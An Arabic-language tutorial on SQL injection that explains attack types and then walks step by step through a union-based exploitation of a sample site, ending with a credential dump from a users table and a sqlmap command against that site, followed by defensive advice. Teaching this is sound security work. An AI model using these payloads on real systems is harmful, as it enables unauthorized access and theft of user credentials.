ثغرة SQL Injection (حقن قواعد البيانات) هي واحدة من أخطر الثغرات الأمنية التي تصيب التطبيقات التي تعتمد على قواعد البيانات. تحدث عندما يتم إدخال أو "حقن" أوامر SQL ضارة داخل مدخلات المستخدم غير المؤمنة، مما يسمح للمهاجم بتنفيذ أوامر مباشرة على قاعدة البيانات.
مثال سريع:
SELECT * FROM users WHERE username = '$input';
إذا كان الإدخال admin' --
فسيصبح:
SELECT * FROM users WHERE username = 'admin' --';
وسيتم تخطي التحقق من كلمة المرور!
---🔍 أنواع SQL Injection
1. Classic SQLi (In-band)
- Error-based: يعتمد على رسائل الخطأ من الخادم.
- Union-based: يستخدم أمر
UNION
لدمج نتائج استعلامات إضافية.
2. Blind SQLi
لا يتم عرض نتائج الاستعلام، ولكن يمكن استنتاجها عبر الاستجابات (نعم/لا).
- Boolean-based: يعتمد على العبارات المنطقية.
- Time-based: يستخدم تأخير زمني
SLEEP()
لتحديد ما إذا كان الشرط صحيحًا.
3. Out-of-Band SQLi
تستخدم قنوات خارجية (مثل DNS أو HTTP) لإرسال النتائج إلى المهاجم. نادرة وتحدث عندما لا يمكن استخدام In-band أو Blind.
---🎯 كيفية استغلال SQL Injection
🧪 مثال تطبيقي (Union-based):
نفترض هذا الرابط:
https://madar.com/product.php?id=5
نجرب:
?id=5' UNION SELECT null,null--
ثم نزيد الأعمدة حتى لا تظهر أخطاء:
?id=5' UNION SELECT 1,2,3--
إذا ظهرت القيم في الصفحة، نعرف عدد الأعمدة والمواقع المعروضة.
ثم نحاول كشف أسماء الجداول:
?id=5' UNION SELECT table_name, null, null FROM information_schema.tables--
ثم أعمدة الجدول:
?id=5' UNION SELECT column_name, null, null FROM information_schema.columns WHERE table_name='users'--
ثم نطلب البيانات:
?id=5' UNION SELECT username, password, null FROM users--
🛠️ أدوات استغلال SQLi
- ✅ sqlmap: أشهر أداة تلقائية.
- ✅ Burp Suite
- ✅ Havij (غير مفتوح المصدر، خطير أمنيًا)
sqlmap -u "http://madar.com/product.php?id=1" --dbs
🛡️ كيف نحمي تطبيقاتنا من SQL Injection؟
1. ✅ استخدام الاستعلامات المجهزة (Prepared Statements)
مثال بلغة PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $input]);
2. ✅ التحقق من مدخلات المستخدم
- السماح فقط بالقيم المتوقعة (رقم؟ بريد؟ كلمة؟).
- استخدام "whitelist" بدلًا من "blacklist".
3. ✅ الحد من صلاحيات قاعدة البيانات
لا تجعل التطبيق يتصل بقاعدة البيانات بصلاحية root أو admin.
4. ✅ إخفاء الأخطاء
لا تعرض رسائل الخطأ في الواجهة النهائية للمستخدم.
5. ✅ استخدام Web Application Firewall (WAF)
مثل ModSecurity أو AWS WAF لحماية التطبيقات من الحقن الشائع.
6. ✅ اختبار الأمان بشكل دوري
- استخدم أدوات مثل sqlmap و Burp Suite.
- إجراء فحوصات أمان دورية (Penetration Testing).
⚠️ ملاحظات هامة
- ثغرات SQLi قد تؤدي إلى تسريب بيانات حساسة أو حتى السيطرة الكاملة على الخادم.
- أغلب حوادث الاختراق الكبرى كانت بسبب SQL Injection.
- معالجة الثغرات في جانب الخادم ضروري؛ لا تعتمد فقط على JavaScript أو التحقق من جانب المستخدم.